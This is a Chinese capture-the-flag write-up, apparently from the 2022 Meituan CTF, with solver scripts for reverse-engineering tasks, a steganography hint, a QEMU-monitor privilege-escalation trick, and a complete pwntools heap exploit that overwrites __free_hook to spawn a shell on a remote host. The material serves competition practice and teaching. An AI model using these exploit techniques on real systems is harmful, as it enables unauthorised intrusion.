Reverse
ROP
解析data的ROP,一点一点还原
from pwn import * opcode = open('data', 'rb').read() opcode_gadget = opcode[0x30+8:] for offset in range(0, len(opcode_gadget), 8): print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')
提取出来密文,转成64位的
cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E, 0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40] cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little') for i in range(0,32,8)]
分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种
然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1]
最后对比密文跳转结果
照着指令写一个逆回来的过程
#include <stdio.h> #include <stdlib.h> #include <stdint.h> uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186}; void add(int i,int j){ bss_flag[i] -= bss_flag[j]; } void sub(int i,int j){ bss_flag[i] += bss_flag[j]; } void xor1(int i,int j){ bss_flag[i] ^= bss_flag[j]; } int main(){ sub(0x0,0x7); add(0x1,0x5); sub(0x3,0x7); add(0x0,0x5); add(0x0,0x7); sub(0x3,0x7); add(0x0,0x5); xor1(0x2,0x5); xor1(0x2,0x5); sub(0x3,0x7); sub(0x2,0x6); xor1(0x0,0x7); add(0x2,0x4); add(0x1,0x4); xor1(0x1,0x7); xor1(0x0,0x7); sub(0x0,0x5); sub(0x0,0x7); sub(0x0,0x5); add(0x1,0x7); xor1(0x1,0x5); add(0x1,0x6); sub(0x1,0x4); xor1(0x2,0x4); add(0x1,0x4); sub(0x0,0x6); sub(0x2,0x7); add(0x1,0x6); sub(0x2,0x5); add(0x0,0x7); xor1(0x3,0x6); add(0x2,0x4); xor1(0x0,0x6); xor1(0x0,0x5); xor1(0x3,0x7); xor1(0x0,0x4); xor1(0x2,0x5); xor1(0x2,0x6); xor1(0x2,0x6); xor1(0x3,0x4); xor1(0x0,0x7); xor1(0x2,0x5); xor1(0x0,0x4); xor1(0x3,0x5); xor1(0x1,0x6); xor1(0x3,0x7); xor1(0x0,0x4); xor1(0x1,0x4); xor1(0x2,0x7); xor1(0x1,0x7); xor1(0x0,0x4); xor1(0x2,0x6); xor1(0x0,0x5); xor1(0x1,0x7); xor1(0x0,0x5); xor1(0x0,0x4); xor1(0x3,0x6); xor1(0x1,0x7); xor1(0x2,0x5); xor1(0x0,0x7); xor1(0x0,0x7); xor1(0x2,0x4); xor1(0x3,0x4); xor1(0x3,0x7); printf("%s",(char *)bss_flag); // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485} }
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crackme
go语言,一开始我ida还f5反编译不了,换了个才可以,难顶
直接sm4加密和rc4,sm4密钥写死在代码里
rc4的key在linese.txt里,密文也在里面
exp:
from binascii import unhexlify from Crypto.Cipher import ARC4 from sm4 import SM4Key c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518') key = b'd0cac74c1bbeea071817360e491585e8' cipher = ARC4.new(key) m = cipher.decrypt(c) key0 = SM4Key(b'xc08asb890ajds0a') print(key0.decrypt(m))
Misc
What is that
stegsolve直接切换几个通道就可以看到
pwn
hello
直接网上查到kernel pwn qemu 的非预期
ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff
然后exit就可以到su权限,再cat flag就可以
heap
一个UAF+数组上溢出
这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。
from pwn import * context.log_level='debug' #p=process('./pwn') p=remote('47.95.8.59',42283) elf=ELF('./pwn') #libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6') libc=ELF('./libc.so.6') def add(size): p.sendafter(b'>\n', b'1') p.sendafter(b'add?\n', str(size).encode()) def dele(index): p.sendafter(b'>\n', b'2') p.sendafter(b'up?\n', str(index).encode()) def edit(index,size,content): p.sendafter(b'>\n', b'3') p.sendafter(b'write?\n', str(index).encode()) p.sendafter(b'write?\n', str(size).encode()) p.sendafter(b'Content:', content) def show(index): p.sendafter(b'>\n', b'4') p.sendafter(b'review?\n', str(index).encode()) show(-11) p.recvuntil('Content:') probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008 arraddr=probase+0x4060 add(0x10) add(0x10) add(0x10) dele(0) dele(1) dele(2) edit(1,8,p64(arraddr)) add(0x10) add(0x10) add(0x10) edit(2,8,p64(probase+elf.got['puts'])) show(0) libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts'] free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] edit(2,8,p64(free_hook)) edit(0,8,p64(system)) add(0x10) edit(3,8,b'/bin/sh\x00') dele(3) p.interactive()
更多靶场实验练习、网安学习资料,请点击这里>>标签:xor1,0x2,美团,0x0,0x7,add,0x5,CTF,2022 From: https://www.cnblogs.com/hetianlab/p/16783072.html